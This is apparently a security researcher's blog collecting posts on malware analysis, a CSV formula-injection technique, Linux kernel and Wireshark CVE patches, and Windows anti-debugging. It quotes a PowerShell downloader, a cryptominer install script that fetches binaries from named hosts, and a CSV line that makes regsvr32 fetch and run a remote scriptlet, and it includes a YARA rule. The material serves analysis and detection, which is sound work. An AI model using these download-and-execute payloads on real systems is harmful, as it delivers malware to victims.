xorl %eax, %eax

Trick for quick reverse engineering of JavaScript malware

leave a comment »

Most JavaScript malware authors try to obfuscate their code by adding a lot of unused code as well as randomized variable names and simple encoding and decoding fucntions. Lastly, they typically remove all spaces and newlines. For example, “Сопроводительные.xls.js” is a JavaScript malware sample uploaded to VirusTotal about 2 hours ago. In this malware sample the code was obfuscated using Dean Edwards JavaScript packer. The malware is pretending to be a Microsoft Excel file but it is actually a JavaScript file. Here is how the sample looks like.



We can try to understand what it does and probably spend hours of analysis or we can do something much simpler. Run the obfuscated code through some prettifier, for example something like jsbeautifier.org. Then, just scrolling through the prettified JavaScript code you can easily see some variable that contains a some large string. In this case, just by looking at it it looks like a Base64 encoded string.



If we just copy this Base64 encoded string and decode it, we will get the following malicious PowerShell script that downloads and executes a variant of Smoke Loader malware from microdocs.ru.

cmd /c start /b powershell -WindowStyle Hidden 

$http_request = New-Object -ComObject Msxml2.XMLHTTP;
$adodb = New-Object -ComObject ADODB.Stream;

$path = $env:temp + '\57737.exe';
$http_request.open('GET', 'http://microdocs.ru/axls/svita.exe?rnd=1328', $false);
$http_request.send();

if($http_request.Status -eq "200")
{
	$adodb.open();
	$adodb.type = 1;
	$adodb.write($http_request.responseBody);
	$adodb.position = 0;
	$adodb.savetofile($path);
	$adodb.close();
} else {
	Write-Host $http_request.statusText;
}

Start-Process $path;

So, when reverse engineering a JavaScript malware, before trying to understand the whole obfuscated code, look for any large strings that are standing out. In this case the above analysis took me less than 5 minutes and as you can probably guess trying to de-obfuscate the entire obfuscated code would have taken at least a couple of hours. Hope that you found this trick useful. :)

Written by xorl

December 16, 2017 at 00:31

The kworker Linux cryptominer malware

leave a comment »

I recently saw this interesting malware sample. The uploaded file is nothing more than a downloader for a cryptocoin miner. The downloader (logo.sh) starts by removing “/var/tmp/fyvxsztqix.conf” and “/var/tmp/sshd” which means that it is probably previously installed malware.

#!/bin/sh
rm -rf /var/tmp/fyvxsztqix.conf
rm -rf /var/tmp/sshd

After this it runs a series of cleanups to ensure that the system not running another instance of the miner. After it kills all of the running miner processes, it will start the downloader as you can see below.

ps auxf|grep -v grep|grep -v mwyumwdbpq|grep "/tmp/"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\./"|grep 'httpd.conf'|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "\-p x"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "stratum"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "cryptonight"|awk '{print $2}'|xargs kill -9
ps auxf|grep -v grep|grep "fyvxsztqix"|awk '{print $2}'|xargs kill -9
ps -fe|grep -e "mwyumwdbpq" -e "xzpauectgr" -e "slxfbkmxtd"|grep -v grep
if [ $? -ne 0 ]
then
echo "Starting process..."

The code will first attempt to download the configuration file (kworker.conf) and store it in “/var/tmp/mwyumwdbpq.conf” file. Note that it will try to do it both using wget and curl to ensure that it will work even if one of the tools is not available.

chmod 777 /var/tmp/mwyumwdbpq.conf
rm -rf /var/tmp/mwyumwdbpq.conf
curl -o /var/tmp/mwyumwdbpq.conf http://5.188.87.12/langs/kworker.conf
wget -O /var/tmp/mwyumwdbpq.conf http://5.188.87.12/langs/kworker.conf

After this the downloader will check “/proc/cpuinfo” and depending if the processor supports AES-NI (Advanced Encryption Standard New Instructions) or not, it will download either “kworker” or “kworker_na”. The downloaded file will be stored in “/var/tmp/atd” file.

chmod 777 /var/tmp/atd
rm -rf /var/tmp/atd
cat /proc/cpuinfo|grep aes>/dev/null
if [ $? -ne 1 ]
then
curl -o /var/tmp/atd http://5.188.87.12/langs/kworker
wget -O /var/tmp/atd http://5.188.87.12/langs/kworker
else
curl -o /var/tmp/atd http://5.188.87.12/langs/kworker_na
wget -O /var/tmp/atd http://5.188.87.12/langs/kworker_na
fi
chmod +x /var/tmp/atd

Lastly, the downloader will discover the amount of available cores and it will start the downloaded file using arguments “-c” for the configuration file and “-t” for the number of threads to start in order to utilize the CPU resources of all the available cores.

cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
./atd -c mwyumwdbpq.conf -t `echo $cores` >/dev/null &
else
echo "Running..."
fi

Here is the configuration file (kworker.conf) that it was downloaded from this malware sample.

{
    "url" : "stratum+tcp://45.76.94.104:80",
    "user" : "etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc",
    "pass" : "x",
    "algo" : "cryptonight",
    "quiet" : true
}

Inspecting the binaries makes it obvious really fast that this is cpuminer version 2.3.3. An open source miner available on GitHub. It is worth noting that although the latest release of cpuminer is 2.5.0 (released in 22 June 2017), those two samples were compiled on 29 October 2017 (kworker_na) and 31 October 2017 (kworker) respectively, using version 2.3.3 which was released on 27 February 2014. Below is the help message of the cpuminer version 2.3.3 (kworker).

Usage: minerd [OPTIONS]
Options:
  -o, --url=URL         URL of mining server
  -O, --userpass=U:P    username:password pair for mining server
  -u, --user=USERNAME   username for mining server
  -p, --pass=PASSWORD   password for mining server
      --cert=FILE       certificate for mining server using SSL
  -x, --proxy=[PROTOCOL://]HOST[:PORT]  connect through a proxy
  -t, --threads=N       number of miner threads (default: number of processors)
  -r, --retries=N       number of times to retry if a network call fails
                          (default: retry indefinitely)
  -R, --retry-pause=N   time to pause between retries, in seconds (default: 30)
  -T, --timeout=N       timeout for long polling, in seconds (default: none)
  -s, --scantime=N      upper bound on time spent scanning current work when
                          long polling is unavailable, in seconds (default: 5)
      --no-longpoll     disable X-Long-Polling support
      --no-stratum      disable X-Stratum support
      --no-redirect     ignore requests to change the URL of the mining server
  -q, --quiet           disable per-thread hashmeter output
  -D, --debug           enable debug output
  -P, --protocol-dump   verbose dump of protocol-level activities
  -S, --syslog          use system log for output messages
  -B, --background      run the miner in the background
      --benchmark       run in offline benchmark mode
  -c, --config=FILE     load a JSON-format configuration file
  -V, --version         display version information and exit
  -h, --help            display this help text and exit

There were no modifications in either of the binaries. They were just compiled versions of this open source miner software. According to some sources this is a result of malware infections based on exploitation of the CVE-2017-5638 (Apache 2 Struts remote code execution) vulnerability. Regarding the network indicators, there is no clear correlation among them. Here is a brief overview of them.

    IP           Hostname       First seen   Last seen     WHOIS name/email            Registrar    
5.188.87.12        N/A              N/A      13-12-2017   noc@channelnet.ie             Petersburg Internet Network Ltd.
45.76.94.104 mine.etnpool.info  29-11-2017   13-12-2017   contact@privacyprotect.org    PDR Ltd.
91.230.47.90       N/A              N/A      14-11-2017   noc@channelnet.ie             Regionalnaya Kompaniya Svyazi Ltd. 
37.59.56.102 pool.minexmr.com   16-04-2014   13-12-2017   ALEXIS ENSTON/XN@OUTLOOK.COM  eNom

 
To conclude, I wrote a simple YARA rule that you can use to detect any infections you might have in your systems. The YARA rule is based on the previously described samples and you can find it here.

import "hash"

rule minerd_kworker_cpuminer
{
    meta:
        author = "Anastasios Pingios (xorl)"
        description = "Linux cpuminer (minerd)"
		reference = "https://xorl.wordpress.com/2017/12/13/the-kworker-linux-cryptominer-malware/"
        date = "13-12-2017"
        filename = "logo.sh"
		filename = "/var/tmp/fyvxsztqix.conf"
		filename = "/var/tmp/mwyumwdbpq.conf"
		filename = "/var/tmp/xxtyligbex.conf"
		filename = "/var/tmp/sshd"

    strings:
		$host_1 = "5.188.87.12" ascii
		$host_2 = "45.76.94.104" ascii
		$host_3 = "91.230.47.90" ascii
		$host_4 = "37.59.56.102" ascii
		$host_5 = "pool22.poolminers.net" ascii
		
		$downloader_1 = "kworker" ascii
		$downloader_2 = "etnkN7n6nSXjPNxVjFFqjaCHdaXBHR2q3cWUnd5ZEtnvAVKKYRrucRgF34XdY2cMfAEUsTrUFJNGvgK4q2dQFfsY41pihj9PMc" ascii
		$downloader_3 = "49mQCzecsC6TS1sNBj5XQX4dNG8MESvLGLPHYJLKohVCQivAB5jJw2xHokTpjtSfE3D8m2U3JjDGEWJMYLrN216CM3dRpBt" ascii
		
		$binary_1 = "cpuminer" ascii
		$binary_2 = "minerd" ascii
		$binary_3 = "stratum+tcp" ascii
		$binary_4 = "Mining-Extensions" ascii
		
    condition:
        2 of ($host*,$downloader*) or
		3 of ($binary*) or
        filesize < 2KB and hash.sha256(0, filesize) == "d920f802d03bd6b7ad7e0e309da1f8087542542626be8057fd15d820bc8a66e1" or
        filesize < 2MB and hash.sha1(0, filesize) == "59ea14373c0ffd14d3bb00ed8c98421c680e853c"
}

Written by xorl

December 13, 2017 at 00:48

Posted in malware

Microsoft Excel CSV code execution/injection method

with one comment

Yesterday Davo Cossa mentioned this technique in one of his tweets. The idea behind it is to exploit how formulas and CSV parsing is performed by Microsoft Excel in order to achieve remote code execution by tricking the user into opening a specially crafted CSV file. You can see the example malicious CSV below.

fillerText1,fillerText2,fillerText3,=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''

And here is how it works. When Microsoft Excel tries to parse a CSV file it adds each comma separated field in a separate cell. So, first cell will be “fillerText1”, the second cell “fillerText2”, and so on. However, the last one in this example will try to insert the following to a cell.

=MSEXCEL|'\..\..\..\Windows\System32\regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll'!''

As you probably already know, Microsoft Excel treats the “=” as a special character to indicate the beginning of a formula. So, here is what the above code will actually try to execute on the target system.

regsvr32 /s /n /u /i:http://RemoteIPAddress/SCTLauncher.sct scrobj.dll

What this does is calling the Microsoft Register Server (regsvr32) in silent mode (/s), unregistering (/u), not calling DLL register server (/n) and passing the required DLL to load via parameter (/i). The passed DLL is “scrobj.dll” which is the Microsoft’s Script Component Runtime and it asks it to fetch and execute the Windows Scriptlet file located at http://RemoteIPAddress/SCTLauncher.sct. Because regsvr32 is part of the Windows operating system it bypasses the AppLocker whitelist and can execute any script from the fetched file on the victim’s system. There is a full analysis of this AppLocker bypass technique here.

Written by xorl

December 11, 2017 at 23:22

Posted in Windows

CVE-2017-17450: Linux kernel nfnl_osf security bypass

leave a comment »

This vulnerability is identical to CVE-2017-17448. It was reported by Kevin Cernekee and it affects the OSF nsfnetlink helper in the same way as CVE-2017-17448 affected the connection tracking helper of NetFilter. Basically, the lack of “CAP_NET_ADMIN” capability checks means that any unprivileged user can execute commands like the following to create or delete namespaces and also obtaining “CAP_NET_ADMIN” capability in the created ones.

    vpnns -- nfnl_osf -f /tmp/pf.os
    vpnns -- nfnl_osf -f /tmp/pf.os -d

Similarly to CVE-2017-17448, the fix was to add the missing checks in the add and remove functions as you can see below.

diff --git a/net/netfilter/xt_osf.c b/net/netfilter/xt_osf.c
index 36e14b1..a34f314 100644
--- a/net/netfilter/xt_osf.c
+++ b/net/netfilter/xt_osf.c
@@ -19,6 +19,7 @@
 #include <linux/module.h>
 #include <linux/kernel.h>
 
+#include <linux/capability.h>
 #include <linux/if.h>
 #include <linux/inetdevice.h>
 #include <linux/ip.h>
@@ -70,6 +71,9 @@ static int xt_osf_add_callback(struct net *net, struct sock *ctnl,
 	struct xt_osf_finger *kf = NULL, *sf;
 	int err = 0;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (!osf_attrs[OSF_ATTR_FINGER])
 		return -EINVAL;
 
@@ -115,6 +119,9 @@ static int xt_osf_remove_callback(struct net *net, struct sock *ctnl,
 	struct xt_osf_finger *sf;
 	int err = -ENOENT;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (!osf_attrs[OSF_ATTR_FINGER])
 		return -EINVAL;

Written by xorl

December 10, 2017 at 13:53

Posted in vulnerabilities

CVE-2017-17448: Linux kernel cthelper security bypass

leave a comment »

This is a vulnerability reported by Kevin Cernekee on 3 December 2017 and it affects nfnl_cthelper of NeFilter. The nfnl_cthelper is a connection tracking helper for the user-space and its code resides in net/netfilter/nfnetlink_cthelper.c. What Kevin Cernekee noticed is that nfnetlink_rcv() (located at net/netfilter/nfnetlink.c) checks if the caller has the “CAP_NET_ADMIN” permission capability but there is a design flaw.

static void nfnetlink_rcv(struct sk_buff *skb)
{
   ...
	if (!netlink_net_capable(skb, CAP_NET_ADMIN)) {
		netlink_ack(skb, nlh, -EPERM, NULL);
		return;
	}
   ...
}

This code checks for the “CAP_NET_ADMIN” capability only in the namespace that owns the “skb” socket. On the other hand, the nfnl_cthelper is a user-space helper that is shared by all network namespaces. Since there are no “CAP_NET_ADMIN” capability checks in nfnl_cthelper it means that an unprivileged user can create namespaces, bypassing the “CAP_NET_ADMIN” capability check. Kevin Cernekee’s patch for this vulnerability was to add the missing capability checks on the “new”, “get”, and “del” functions of this helper. You can see the patch here.

diff --git a/net/netfilter/nfnetlink_cthelper.c b/net/netfilter/nfnetlink_cthelper.c
index 41628b393673..d33ce6d5ebce 100644
--- a/net/netfilter/nfnetlink_cthelper.c
+++ b/net/netfilter/nfnetlink_cthelper.c
@@ -17,6 +17,7 @@ 
 #include <linux/types.h>
 #include <linux/list.h>
 #include <linux/errno.h>
+#include <linux/capability.h>
 #include <net/netlink.h>
 #include <net/sock.h>
 
@@ -407,6 +408,9 @@  static int nfnl_cthelper_new(struct net *net, struct sock *nfnl,
 	struct nfnl_cthelper *nlcth;
 	int ret = 0;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (!tb[NFCTH_NAME] || !tb[NFCTH_TUPLE])
 		return -EINVAL;
 
@@ -611,6 +615,9 @@  static int nfnl_cthelper_get(struct net *net, struct sock *nfnl,
 	struct nfnl_cthelper *nlcth;
 	bool tuple_set = false;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (nlh->nlmsg_flags & NLM_F_DUMP) {
 		struct netlink_dump_control c = {
 			.dump = nfnl_cthelper_dump_table,
@@ -678,6 +685,9 @@  static int nfnl_cthelper_del(struct net *net, struct sock *nfnl,
 	struct nfnl_cthelper *nlcth, *n;
 	int j = 0, ret;
 
+	if (!capable(CAP_NET_ADMIN))
+		return -EPERM;
+
 	if (tb[NFCTH_NAME])
 		helper_name = nla_data(tb[NFCTH_NAME]);

Written by xorl

December 10, 2017 at 13:46

Posted in vulnerabilities

CVE-2017-17085: Wireshark CIP Safety dissector integer overflow

leave a comment »

On 30 November 2017 Wireshark released their WNPA-SEC-2017-49 security advisory. The security advisory describes a vulnerability in the CIP Safety protocol dissector which is identified as DoS. The vulnerability was discovered by “Buildbot Builder” via fuzzing and the trigger PoC PCAP is available online (fuzz-2017-11-28-28119.pcap). The vulnerable code is in epan/dissectors/packet-cipsafety.c and you can see the exact code path below.

/* packet-cipsafety.c
 * Routines for CIP (Common Industrial Protocol) Safety dissection
 * CIP Safety Home: www.odva.org
   ...
 */
   ...
static void
dissect_cip_safety_data( proto_tree *tree, proto_item *item, tvbuff_t *tvb, int item_length, packet_info *pinfo)
{
   int base_length, io_data_size;
   gboolean multicast = (((pntoh32(pinfo->dst.data)) & 0xf0000000) == 0xe0000000);
   ...
   /* compute the base packet length to determine what is actual I/O data */
   base_length = multicast ? 12 : 6;
   ...
      case CIP_SAFETY_EXTENDED_FORMAT:
         if (item_length-base_length <= 2)
         {
   ...
            proto_tree_add_item(tree, hf_cipsafety_crc_s5_0, tvb, item_length-base_length+1, 1, ENC_LITTLE_ENDIAN);
            proto_tree_add_item(tree, hf_cipsafety_crc_s5_1, tvb, item_length-base_length+2, 1, ENC_LITTLE_ENDIAN);
            proto_tree_add_item(tree, hf_cipsafety_timestamp, tvb, item_length-base_length+3, 2, ENC_LITTLE_ENDIAN);
            proto_tree_add_item(tree, hf_cipsafety_crc_s5_2, tvb, item_length-base_length+5, 1, ENC_LITTLE_ENDIAN);
   ...
}

As you can see from the above code snippet, dissect_cip_safety_data() retrieves a signed integer (item_length) as an argument. Later on, it calculates “base_length”. Then, if the packet is CIP Safety in extended format it will do the comparison that you see above. If “item_length” results in a negative value it will enter the ‘if’ clause and try to invoke proto_tree_add_item() with a negative length variable. The latter will try to copy a large amounts (specifically equal to “item_length”) of data leading to a segmentation fault due to memory corruption. Below you can see the patch that Pascal Quantin developed to fix this vulnerability.

     /* compute the base packet length to determine what is actual I/O data */
     base_length = multicast ? 12 : 6;
	 
+    if (item_length <= base_length) {
+       expert_add_info(pinfo, item, &ei_mal_io);
+       return;
+    }
+

The above ensures that “item_length” will never be smaller than “base_length” to enter the dissection code. This should catch cases of “item_length” being negative.

Written by xorl

December 10, 2017 at 13:28

Posted in vulnerabilities

The CheckRemoteDebuggerPresent() anti-debugging technique

leave a comment »

Disclaimer: I am not an experienced Windows guy. I know just the basics and still learning.

A few days ago I published Reverse Engineering isDebuggerPresent() which is the most widely used anti-debugging method in Windows malware. Here I will be going through another very common anti-debugging method in Windows malware, the CheckRemoteDebuggerPresent() from kernel32.dll.

BOOL WINAPI CheckRemoteDebuggerPresent(
  _In_    HANDLE hProcess,
  _Inout_ PBOOL  pbDebuggerPresent
);

Basically, the function will set “pbDebuggerPresent” to TRUE or FALSE depending on the status of the process referenced by “hProcess” pointer. Malware authors typically use this in a way similar to what you see below. The following code retrieves the current process’ handle via GetCurrentProcess() and then uses CheckRemoteDebuggerPresent() to discover if a debugger is attached to this process.

#include "windows.h"

int main(void)
{
    BOOL HasDebugPort = FALSE;

    if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &HasDebugPort))
    {
           ExitProcess(0); // Running in ring-3 debugger
    }
    // Running outside ring-3 debugger
    return 0;
}

If you recall, what isDebuggerPresent() does, is returning the value of “Process->PEB->BeingDebugged”. CheckRemoteDebuggerPresent() is slightly different. Instead of looking for this flag, it checks if the process has a non-zero debug port. In other words, this means that the process has a Ring-3 debugger attached to it. Below you can see how CheckRemoteDebuggerPresent() actually works in KernelBase.dll.



Unlike isDebuggerPresent(), the CheckRemoteDebuggerPresent() uses NtQueryInformationProcess() to obtain the value of “Process->ProcessDebugPort” value. Below you can see some example/pseudo code on how NtQueryInformationProcess() retrieves that information.

NTSTATUS
NTAPI
NtQueryInformationProcess(IN HANDLE ProcessHandle,
                           IN PROCESSINFOCLASS ProcessInformationClass,
                           OUT PVOID ProcessInformation,
                           IN ULONG ProcessInformationLength,
                           OUT PULONG ReturnLength OPTIONAL)
 {
   ...
             Status = ObReferenceObjectByHandle(ProcessHandle,
                                                PROCESS_QUERY_INFORMATION,
                                                PsProcessType,
                                                PreviousMode,
                                                (PVOID*)&Process,
                                                NULL);
   ...
                 *(PHANDLE)ProcessInformation = (Process->DebugPort ?
                                                 (HANDLE)-1 : NULL);
   ...
}

To defeat this anti-debugging technique we can use similar methods like the ones we described for isDebuggerPresent(). Namely, here are a few example methods to do this:

  • Patch the comparison of the return value of CheckRemoteDebuggerPresent() in the malware code
  • Patch the malware to jump over the CheckRemoteDebuggerPresent() check
  • Patch the malware to NOP the CheckRemoteDebuggerPresent() check
  • Set a breakpoint after the NtQueryInformationProcess() call and update its return value for ProcessDebugPort to 0
  • Pre-load/hook a DLL that overrides NtQueryInformationProcess() and always returns 0 for ProcessDebugPort

Written by xorl

December 9, 2017 at 19:40

Posted in Windows